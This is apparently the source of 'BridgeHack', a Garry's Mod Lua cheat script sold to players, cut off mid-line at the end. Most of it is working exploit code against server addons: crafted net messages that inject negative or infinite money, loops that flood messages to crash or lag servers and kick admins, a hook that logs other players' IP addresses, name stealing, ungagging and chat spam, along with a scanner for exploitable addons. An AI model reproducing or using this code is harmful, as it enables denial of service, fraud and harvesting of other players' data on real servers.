\x0a\x0a\x09\x09\x09surface.DrawText( \"Alright!\" ) \x0a\x0a\x09\x09end\x0a\x0a\x09button.DoClick = function(s,w,h) \x0a\x0a\x09\x09frame:Close()\x0a\x0a\x09\x09SoundClick()\x0a\x0a\x09end end\x0a\x0a/*\x0a\x0a\x0a\x0a\x09\x09\x09GUYS ITS FINALLY HERE!!!\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x09\x09\x0a\x0a\x0a\x0a\x09\x09\x09BridgeHack WELCOME SCREEN!!!!!\x0a\x0a\x09\x09\x09\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x09button = vgui.Create(\"DButton\", Popup)\x0a\x0a\x09button:SetSize(110,32.5)\x0a\x0a\x09button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)\x0a\x0a\x09button:SetText(\"\")\x0a\x0a\x09button.Paint = function(s,w,h) \x0a\x0a\x09\x09surface.SetDrawColor( Color(255,255,255) ) \x0a\x0a\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09surface.SetDrawColor( Color(13,136,69) ) \x0a\x0a\x09\x09surface.DrawRect( 0+3,0+3, w-6,h-6 ) \x0a\x0a\x09\x09surface.SetTextColor(255,255,255) \x0a\x0a\x09\x09surface.SetFont(\"PopupFont\") \x0a\x0a\x09\x09surface.SetTextPos(30.5,5.5) \x0a\x0a\x09\x09surface.DrawText( \"Alright!\" ) \x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09button.DoClick = function(s,w,h) \x0a\x0a\x09\x09\x09Popup:Close()\x0a\x0a\x09\x09\x09SoundClick()\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09logbutton = vgui.Create(\"DButton\", Popup)\x0a\x0a\x09logbutton:SetSize(110,32.5)\x0a\x0a\x09logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)\x0a\x0a\x09logbutton:SetText(\"\")\x0a\x0a\x09logbutton.Paint = function(s,w,h) \x0a\x0a\x09\x09surface.SetDrawColor( Color(255,255,255) ) \x0a\x0a\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09surface.SetDrawColor( Color(13,170,181) ) \x0a\x0a\x09\x09surface.DrawRect( 0+3,0+3, w-6,h-6 ) \x0a\x0a\x09\x09surface.SetTextColor(255,255,255) \x0a\x0a\x09\x09surface.SetFont(\"PopupFont\") \x0a\x0a\x09\x09surface.SetTextPos(10,5.5) \x0a\x0a\x09\x09surface.DrawText( \"Change Logs\" ) \x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09logbutton.DoClick = function(s,w,h) \x0a\x0a\x09\x09\x09Popup:Close()\x0a\x0a\x09\x09\x09ChangeLogMenu()\x0a\x0a\x09\x09\x09SoundClick()\x0a\x0a\x09end end\x0a\x0aconcommand.Add(\"bh_welcome\", WelcomeScreen, SVersionCheck)\x0a\x0a\x09\x0a\x0a--\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09Version Menu It Looks PURDY\x0a\x0a\x0a\x0afunction ChangeLogMenu()\x0a\x0a\x09local Panel = vgui.Create( \"DFrame\" )\x0a\x0a\x09Panel:SetSize( 800, 600 )\x0a\x0a\x09Panel:SetPos( ScrW(),ScrH() )\x0a\x0a\x09Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8\x0a\x0a\x09Panel:SetTitle( \"\" )\x0a\x0a\x09Panel:MakePopup()\x0a\x0a\x09Panel:ShowCloseButton( false )\x0a\x0a\x09function Panel:Paint( w, h )\x0a\x0a\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )\x0a\x0a\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )\x0a\x0a\x09\x09draw.SimpleText( \"BridgeHack ChangeLogs\", \"Default\", 6, 15, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09local Button = vgui.Create(\"DButton\", Panel)\x0a\x0a\x09\x09Button:SetPos( 740, 10 )\x0a\x0a\x09\x09Button:SetSize( 50, 25 )\x0a\x0a\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09draw.SimpleText( \"Close\", \"HeaderFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09Panel:Close()\x0a\x0a\x09\x09end\x09\x0a\x0a\x09\x0a\x0a\x09local Label = vgui.Create( \"DLabel\", Panel )\x0a\x0a\x09Label:SetColor( Color( 255, 255, 255, 255 ) )\x0a\x0a\x09Label:SetFont( \"DermaLarge\" )\x0a\x0a\x09\x0a\x0a\x09if outdated == 1 then\x0a\x0a\x09Label:SetText( \"Your version \" ..dlversion..\" is outdated!\" )\x0a\x0a\x09Label:SetTextColor( Color( 255,0,0 ) )\x0a\x0a\x09elseif outdated == 0 then\x0a\x0a\x09Label:SetText( \"Your version \"..dlversion..\" is up to date!\" )\x0a\x0a\x09Label:SetTextColor( Color( 0,255,0 ) )\x0a\x0a\x09else\x0a\x0a\x09Label:SetText(\"Error receving version information!\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09Label:SizeToContents()\x0a\x0a\x09Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )\x0a\x0a\x09\x0a\x0a\x09local HTML = vgui.Create( \"HTML\", Panel )\x0a\x0a\x09HTML:OpenURL( \"http:/pastebin.com/raw.php?i=Ax9WQ5y7\" )\x0a\x0a\x09HTML:SetSize( HTML:GetParent():GetWide() - 50, HTML:GetParent():GetTall() - 160 )\x0a\x0a\x09HTML:SetPos( 25, 100 )\x0a\x0a\x09HTML.Paint = function()\x0a\x0a\x09\x09surface.SetDrawColor( Color( 160, 160, 160) )\x0a\x0a\x09\x09surface.DrawRect( 0, 0, HTML:GetWide(), HTML:GetTall() )\x0a\x0a\x09end end\x0a\x0a/*\x09\x0a\x0a\x0a\x0a\x09\x0a\x0a\x09\x09\x09\x09END MENU\x0a\x0a\x09\x0a\x0a\x0a\x0a*/\x09\x0a\x0alocal randomvar = math.Rand(0,9999999)\x0a\x0alocal BridgeHack = {}\x0a\x0aBridgeHack.RandomVar = randomvar\x0a\x0alocal sweg = LocalPlayer():GetEyeTrace().Entity\x0a\x0alocal ply = LocalPlayer()\x0a\x0aply:ConCommand(\"bh_welcome\")\x0a\x0atimer.Destroy(\"changecolor\")\x0a\x0a\x0a\x0aqueries=1;\x0a\x0afunction status(statu)-- Made for debugging things.\x0a\x0a\x09queries = queries + 1\x0a\x0a\x09if GetConVarNumber(\"bh_showhud\") == 1 then\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawcurrent\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 255,255,255 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 25 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[\" .. queries .. \" Total Requests] STATUS: \" .. statu )\x0a\x0a\x09\x09end) end\x0a\x0a\x09\x0a\x0a\x09if GetConVarNumber(\"bh_chat_status\") == 1 then\x0a\x0a\x09\x09chat.AddText(Color(231, 76, 60), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,255,255), statu)\x0a\x0a\x09end end\x0a\x0a\x0a\x0afunction Debug(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(155, 89, 182), \"[ BridgeHack]: \", Color(255,255,255), message)\x0a\x0aend\x0a\x0a\x0a\x0alocal function CreateCvar(cvar, value)\x0a\x0a\x09CreateClientConVar(cvar, value)\x0a\x0a\x09consoleP(\"CVAR: \" .. cvar .. \" set to \" .. value)\x0a\x0aend\x0a\x0a\x0a\x0alocal function ResetCvar(cvar, value)\x0a\x0a\x09ply:ConCommand(\"\" .. cvar .. \" \" .. value)\x0a\x0a\x09Debug(\"CVAR: \" .. cvar .. \" reset to \" .. value)\x0a\x0aend\x0a\x0a\x0a\x0aCheckPastebin()\x0a\x0aCreateCvar(\"bh_notify\", 1)\x0a\x0aCreateCvar(\"bh_ulxgag\", 1, true, false)\x0a\x0aCreateCvar(\"bh_playsound\",1)\x0a\x0aCreateCvar(\"bh_hitmenuammount\",0)\x0a\x0aCreateCvar(\"bh_menu_effects\", 1)\x0a\x0aCreateCvar(\"bh_firstload_correct\", 1)\x0a\x0aCreateCvar(\"bh_chat_status\", 0)\x0a\x0aCreateCvar(\"bh_cheats_enabled_on_start\", 0)\x0a\x0aCreateCvar(\"bh_cheats_svlua_enabled_on_start\", 0)\x0a\x0aCreateCvar(\"bh_showhud\", 0)\x0a\x0aCreateCvar(\"bh_esp\",0)\x0a\x0aCreateCvar(\"bh_esp_box\",1)\x0a\x0aCreateCvar(\"bh_debug\",0)\x0a\x0aCreateCvar(\"bh_esp_hp\",1)\x0a\x0aCreateCvar(\"bh_esp_rank\",1)\x0a\x0aCreateCvar(\"bh_renderdistance_enable\",0)\x0a\x0aCreateCvar(\"bh_esp_rdistance\",2000)\x0a\x0aCreateCvar(\"bh_esp_infocolor_r\",255)\x0a\x0aCreateCvar(\"bh_esp_infocolor_g\",0)\x0a\x0aCreateCvar(\"bh_esp_infocolor_b\",255)\x0a\x0aCreateCvar(\"bh_ratm_money2give\",100000)\x0a\x0a\x0a\x0a\x0a\x0aif GetConVarNumber(\"bh_firstload_correct\") == 1 then\x0a\x0a\x09Derma_Message( \"Welcome \" .. ply:Nick() .. \", We see its your first time launching BridgeHack on your SteamID (\" .. ply:SteamID() .. \")\\nHow do I open the menu?\\nSimply do this bind in console bind KEY +bh_menu\\nThanks for purchasing BridgeHack, Enjoy\\nBridgeHack Hack (HaxRUs)\", \"Welcome to BridgeHack \" .. ply:Nick() .. \"!\", \"Click me to continue\" )\x0a\x0a\x09ply:ConCommand(\"bh_firstload_correct 0\")\x0a\x0a\x09chatP(\"Welcome to the world of BridgeHack.\")\x0a\x0a\x09\x0a\x0aelse\x0a\x0aend\x0a\x0a\x0a\x0aif GetConVarNumber(\"bh_cheats_enabled_on_start\") == 1 then\x0a\x0a\x09ply:ConCommand(\"incrementvar sv_cheats 0 1 1\")\x0a\x0a\x09status(\"Enabled sv_cheats to 1\")\x0a\x0aelse\x0a\x0aend\x0a\x0aif GetConVarNumber(\"bh_cheats_svlua_enabled_on_start\") == 1 then\x0a\x0a\x09\x0a\x0a\x09ply:ConCommand(\"incrementvar sv_allowcslua 0 1 1\")\x0a\x0a\x09status(\"Enabled sv_allowcslua to 1\")\x0a\x0aelse\x0a\x0aend\x0a\x0a\x0a\x0a/ FIXES \x0a\x0alocal oChatAddText = chat.AddText\x0a\x0a\x0a\x0afunction chat.AddText( ... )\x0a\x0a\x09local cArgs = { ... };\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x0a\x0a\x09for k, v in pairs( cArgs ) do\x0a\x0a\x09\x09if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine\x0a\x0a\x09\x09\x09print(\"BLOCKED STRING CRASH len[\" .. string.len(v) .. \"]\"); \x0a\x0a\x09\x09\x09return false;\x0a\x0a\x09\x09else\x0a\x0a\x09\x09end\x0a\x0a\x09end\x0a\x0a\x09return oChatAddText( ... );\x0a\x0aend\x0a\x0a\x0a\x0a---------------------------------------/ Global timers /---------------------------------------\x0a\x0aif GetConVarNumber(\"bh_showhud\") == 1 then\x0a\x0a\x09hook.Add( \"HUDPaint\", \"drawcursor\", function()\x0a\x0a\x09\x09local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255) \x0a\x0a\x09\x09surface.SetDrawColor(c)\x0a\x0a\x09\x09surface.DrawLine(x - 10, y, x - 5, y)\x0a\x0a\x09\x09surface.DrawLine(x, y + 5, x, y + 10)\x0a\x0a\x09\x09surface.DrawLine(x + 10, y, x + 5, y)\x0a\x0a\x09end)\x0a\x0a\x09\x0a\x0a\x09hook.Add( \"HUDPaint\", \"drawabout\", function()\x0a\x0a\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09surface.SetTextColor( 46, 204, 113 )\x0a\x0a\x09\x09surface.SetTextPos( 25, 15 ) \x0a\x0a\x09\x09surface.DrawText( \"BridgeHack \" .. dlversion )\x0a\x0a\x09end)\x0a\x0a\x09\x0a\x0a\x09if GetConVarNumber(\"bh_debug\") > 0 then \x0a\x0a\x09\x09if system.IsWindows( ) == true then\x0a\x0a\x09\x09\x09hook.Add( \"HUDPaint\", \"drawdev1\", function()\x0a\x0a\x09\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09\x09surface.DrawText( \"[] Server Operating System: Windows\" )\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09if system.IsLinux( ) == true then\x0a\x0a\x09\x09\x09hook.Add( \"HUDPaint\", \"drawdev2\", function()\x0a\x0a\x09\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09\x09surface.DrawText( \"[] Server Operating System: Linux\" )\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09if system.IsOSX( ) == true then\x0a\x0a\x09\x09\x09hook.Add( \"HUDPaint\", \"drawdev3\", function()\x0a\x0a\x09\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09\x09surface.DrawText( \"[] Server Operating System: OSX\")\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawdev4\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[] Server Operating System: Windows\" )\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawdev5\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 57 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[] Server Location: \" .. system.GetCountry( ) .. \"\" )\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawdev6\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 67 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[] Connection Time: \" .. system.AppTime( ) .. \" Seconds\" )\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09end\x0a\x0aend\x0a\x0a\x09\x0a\x0astatus(\"Starting\")\x0a\x0astatus(\"BridgeHack Loaded\")\x0a\x0a\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x0a\x0a\x09local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0\x0a\x0a\x09\x09consoleP(v:GetUserGroup()..\": \" .. v:Nick() .. \" - \" .. v:SteamID() .. \" - $\" .. playermoney)\x0a\x0a\x09end\x0a\x0aconsoleP(\"BridgeHack, by HaxRUs\")\x0a\x0aconsoleP(dlversion)\x0a\x0a\x0a\x0a/ FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------\x0a\x0a/ CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------\x0a\x0a\x0a\x0aconcommand.Add(\"bh_hitmanxcrash\", function ( ply )\x0a\x0afor i=0,300 do\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0anet.Start( \"SendMoney\" )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteString( \"-100000000000000000000000000000000000000000\" )\x0a\x0anet.SendToServer()\x0a\x0a\x0a\x0aend end end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_hitmanxinfa\", function ( ply )\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0anet.Start( \"SendMoney\" )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteString( \"-100000000000000000000000000000000000000000\" )\x0a\x0anet.SendToServer()\x0a\x0a\x0a\x0aend end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_hitmancrash\",function()\x0a\x0a\x09for i=0,5000 do\x0a\x0a\x09\x09ply:ConCommand('addhit \"'..ply:Nick()..'\" 500')\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_ulxgag\",function()\x0a\x0a\x09\x09if(ulx and ulx.gagUser) then\x0a\x0a\x09\x09\x09if GetConVarNumber(\"bh_ulxgag\") == 1 then\x0a\x0a\x09\x09\x09\x09ulx.gagUser(LocalPlayer(),false)\x0a\x0a\x09\x09\x09else\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09else\x0a\x0a\x09\x09end\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_antiaim\",function()\x0a\x0a\x09hook.Add(\"CreateMove\",function(cmd, u)\x0a\x0a\x09if (LocalPlayer():KeyDown(IN_ATTACK)) then return end\x0a\x0a\x09local aa = cmd:GetViewAngles()\x0a\x0a\x09cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))\x0a\x0aend)\x0a\x0a\x0a\x0aend)\x0a\x0a\x0a\x0a\x0a\x0aconcommand.Add(\"bh_infinite_all\",function()\x0a\x0a clearcon()\x0a\x0a cleardchat()\x0a\x0a chatP(\"Giving money, He he\")\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0anet.Start( \"BailOut\" )\x0a\x0a\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09net.WriteFloat( -infinite )\x0a\x0a\x09\x09 net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_ipsteal\",function()\x0a\x0ahook.Add(\"PlayerConnect\", \"IPStealer\", function(name, ip)\x0a\x0a\x09file.Append(\"ips.txt\", name .. \" - \" .. ip .. \"\\n\")\x0a\x0aend)\x0a\x0a\x0a\x0aend)\x0a\x0a\x0a\x0alocal nlr = CreateClientConVar(\"bh_nlr_freeze\", \"0\", true, false)\x0a\x0a\x0a\x0alocal function nlrs()\x0a\x0a\x09if nlr:GetBool() then\x0a\x0a\x09\x09for k,v in pairs(player.GetAll())do\x0a\x0a\x09\x09if v != LocalPlayer() then\x0a\x0a\x09\x09\x09net.Start(\"NLR.ActionPlayer\")\x0a\x0a\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x09end\x0a\x0a\x09end\x0a\x0atimer.Create(\"nlrs\", 4,0,nlrs)\x0a\x0a\x0a\x0aLastTime = CurTime()\x0a\x0a\x0a\x0afunction drawdatopscreen() \x0a\x0a\x09if GetConVarNumber(\"bh_notify\") > 0 then\x0a\x0a\x09\x0a\x0a\x09\x09sweg = math.Clamp((CurTime()-LastTime)/20,0,1)\x0a\x0a\x09if sweg == 1 then\x0a\x0a\x09\x09LastTime = CurTime()\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09end\x0a\x0aend\x0a\x0ahook.Add( \"HUDPaint\", \"drawdatopscreen\", drawdatopscreen )\x0a\x0a\x0a\x0aconcommand.Add(\"bh_tp_spawn\",function()\x0a\x0a\x09chatP(\"Teleported to spawn!\")\x0a\x0a\x09consoleP(\"Teleported to spawn!\")\x0a\x0a\x09status(\"Teleported to spawn!\")\x0a\x0a\x09net.Start(\"DarkRP_Kun_ForceSpawn\")\x0a\x0a\x09net.SendToServer()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_check\",function()\x0a\x0aclearcon()\x0a\x0acleardchat()\x0a\x0achatP(\"Checking for exploitable addons...\")\x0a\x0aif HIT then\x0a\x0a\x09chatPG(\"Hitman X | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"Hitman X | Not Found\")\x0a\x0aend\x0a\x0aif HitMenu then\x0a\x0a\x09chatPG(\"Hit Menu | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"Hit Menu | Not Found\")\x0a\x0aend\x0a\x0aif BAIL then\x0a\x0a\x09chatPG(\"BailNPC | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"BailNPC | Not Found\")\x0a\x0aend\x0a\x0aif dLogs then\x0a\x0a\x09chatPG(\"DLOGS | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"DLOGS | Not Found\")\x0a\x0aend\x0a\x0aif ChanNum then\x0a\x0a\x09chatPG(\"MXRadio| Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"MXRadio | Not Found\")\x0a\x0aend\x0a\x0aif VC_Menu_Info_Panel_Build then\x0a\x0a\x09chatPG(\"VCMD | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"VCMD | Not Found\")\x0a\x0aend\x0a\x0aif MDE then\x0a\x0a\x09chatPG(\"MDE | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"MDE | Not Found\")\x0a\x0aend\x0a\x0aif NLR then\x0a\x0a\x09chatPG(\"NLR | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"NLR | Not Found\")\x0a\x0aend\x0a\x0aif Warnings_for_kick then\x0a\x0a\x09chatPG(\"ULX Extended | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"ULX Extended | Not Found\")\x0a\x0aend\x0a\x0a\x0a\x0aend)\x09\x0a\x0a\x0a\x0afunction reloadeddunkalladmins()\x0a\x0aclearcon()\x0a\x0achatP(\"KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)\")\x0a\x0atimer.Create( \"heymnangng\", 3, 0, function()\x0a\x0afor k,v in ipairs(player.GetAll()) do\x0a\x0aif( v:GetUserGroup() != \"user\" ) then\x0a\x0aif v:Nick() != \"Gam\" then\x0a\x0afor i=0, 700 do\x0a\x0anet.Start( \"GetCar\" )\x0a\x0anet.WriteEntity(v)\x0a\x0anet.WriteEntity(v)\x0a\x0anet.SendToServer()\x0a\x0aend\x0a\x0achatP('Kicked: '.. v:Nick().. \"!\")\x0a\x0aend end end end)end\x0a\x0aconcommand.Add( \"bh_mx_kickadmins\", reloadeddunkalladmins, SVersionCheck )\x0a\x0a\x0a\x0afunction dloglag()\x0a\x0aclearcon()\x0a\x0aprint(\"Lagging server.\")\x0a\x0aclearcon()\x0a\x0aprint(\"Lagging server..\")\x0a\x0aclearcon()\x0a\x0aprint(\"Lagging server...\")\x0a\x0atimer.Create( \"dlogsisfucked\", 3, 0, function()\x0a\x0afor i=0, 7000 do\x0a\x0alocal tosend = {\x0a\x0a\x09cmd=\"+forward\",\x0a\x0a\x09args=\" \"\x0a\x0a\x09\x0a\x0a\x09}\x0a\x0a\x09net.Start('dLogsGetCommand')\x0a\x0a\x09net.WriteTable(tosend)\x0a\x0a\x09net.SendToServer()\x0a\x0a\x09\x0a\x0aend end) end\x0a\x0a\x0a\x0aconcommand.Add( \"bh_dlogs_lag\", dloglag, SVersionCheck )\x0a\x0aconcommand.Add( \"bh_dlogs_lag_off\", function()\x0a\x0a\x09clearcon()\x0a\x0a\x09consoleP(\"Stopping the lag...\")\x0a\x0a\x09chatP(\"Stopping the lag...\")\x0a\x0a\x09timer.Destroy(\"dlogisfucked\")\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_admins\", function()\x0a\x0aclearcon()\x0a\x0achatP(\"Listing non-players..\")\x0a\x0achatP(\"Check console.\")\x0a\x0aconsoleP(\"============= ULX | Custom admin mode RANKS ============\")\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09if( v:GetUserGroup() != \"user\" ) then\x0a\x0a\x09\x09\x09\x09print(v:Nick().. \" | \".. v:GetUserGroup())\x0a\x0a\x09\x09end\x0a\x0aend\x0a\x0aconsoleP(\"========================================================\")\x0a\x0aend)\x0a\x0a\x0a\x0alocal Spammer = CreateClientConVar(\"bh_advert\", \"0\", true, false)\x0a\x0a\x0a\x0alocal function Spam()\x0a\x0a\x09if Spammer:GetBool() then\x0a\x0a\x09\x09RunConsoleCommand(\"say\", \"/advert I AM TOO COOL FOR SCHOOL !!!!!!\") --Whatever you want\x0a\x0a\x09end end\x0a\x0atimer.Create(\"Spam\", 1.5,0,Spam)\x0a\x0a\x0a\x0alocal player2kick = CreateClientConVar(\"g_mx_playername\", \" \", true, false)\x0a\x0afunction kickdaplayer()\x0a\x0atimer.Create( \"heymnangng2\", 3, 0, function()\x0a\x0afor k,v in ipairs(player.GetAll()) do\x0a\x0aif v:Nick() == GetConVar(\"g_mx_playername\") then\x0a\x0aclearcon()\x0a\x0aprint(\"Kicking: \")\x0a\x0aprint(v:Nick())\x0a\x0afor i=0, 700 do\x0a\x0anet.Start( \"GetCar\" )\x0a\x0anet.WriteEntity(v)\x0a\x0anet.WriteEntity(v)\x0a\x0anet.SendToServer()\x0a\x0aend\x0a\x0achatP(\"Kicked \".. v:Nick())\x0a\x0aconsoleP(\"Kicked \".. v:Nick())\x0a\x0aend end end) end\x0a\x0aconcommand.Add( \"bh_mx_kickplayer\", kickdaplayer, SVersionCheck )\x0a\x0a\x0a\x0aconcommand.Add(\"Bh_clearcon\",function()\x0a\x0a\x09clearcon()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"Bh_clearchat\",function()\x0a\x0a\x09cleardchat()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0a\x0a\x0aconcommand.Add(\"bh_3dcardealer_spamstore\",function()\x0a\x0a\x09chatP(\"You better be looking at a car\")\x0a\x0a\x09for i=0,100 do\x0a\x0a\x09clearcon()\x0a\x0a\x09chatP(\"Spamming store... \"..\"[\"..i..\"]\")\x0a\x0a\x09net.Start( \"RXCAR_Shop_Sell_C2S\" )\x0a\x0a\x09\x09net.WriteTable({EAA=sweg, CDAA})\x0a\x0a\x09net.SendToServer()\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_serverlist\",function()\x0a\x0a\x09status(\"Printing lise to console...\")\x0a\x0a\x09chatP(\"Check console.\")\x0a\x0a\x09clearcon()\x0a\x0a\x09consoleP(\"\"..serverlist..\"\")\x0a\x0a\x09status(\"Complete\")\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0afunction CheckAE()\x0a\x0a\x09\x0a\x0a\x09if requestTables then\x0a\x0a\x09\x09print(\"ae found, bh_ae will work\")\x0a\x0a\x09\x09chatP(\"AE was found, bh_ae will work.\")\x0a\x0a\x09else\x0a\x0a\x09\x09chatP(\"AE was not found, bh_ae will not work.\")\x0a\x0a\x09end end\x0a\x0aconcommand.Add(\"bh_aecheck\", CheckAE, SVersionCheck)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_ae_kickadmins\",function()\x0a\x0aclearcon()\x0a\x0achatP(\"Attempting to Kick admins\")\x0a\x0achatP(\"This will only work on admins+\")\x0a\x0atimer.Create( \"aekickdaskids\", 3, 0, function()\x0a\x0afor k,v in ipairs(player.GetAll()) do\x0a\x0aif( v:GetUserGroup() != \"user\" ) then\x0a\x0aif( v:GetUserGroup() != \"vip\" ) then\x0a\x0afor i=0, 1000 do\x0a\x0anet.Start('plyWarning')\x0a\x0a\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09net.WriteString('You have to select a player before doing a action.')\x0a\x0a\x09\x09net.SendToServer()\x0a\x0aend\x0a\x0achatP('Attempting to kick: '.. v:Nick().. \"!\")\x0a\x0a\x0a\x0aend end end end) end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_namesteal_on\",function()\x0a\x0a\x09status(\"Running Script: Random Name Change [name steal]....\")\x0a\x0a\x09\x0a\x0a\x09timer.Create(\"startNAMECHANGEsteal\", 0.12, 0, function()\x0a\x0a\x09\x09local plylastname = ply:Nick()\x0a\x0a\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09local ligger_type = math.random(1,2)\x0a\x0a\x09\x09\x09local ligger_type1 = math.random(1,2)\x0a\x0a\x09\x09\x09status(\"Trying Name change to \" .. v:Nick() .. \" - \" .. 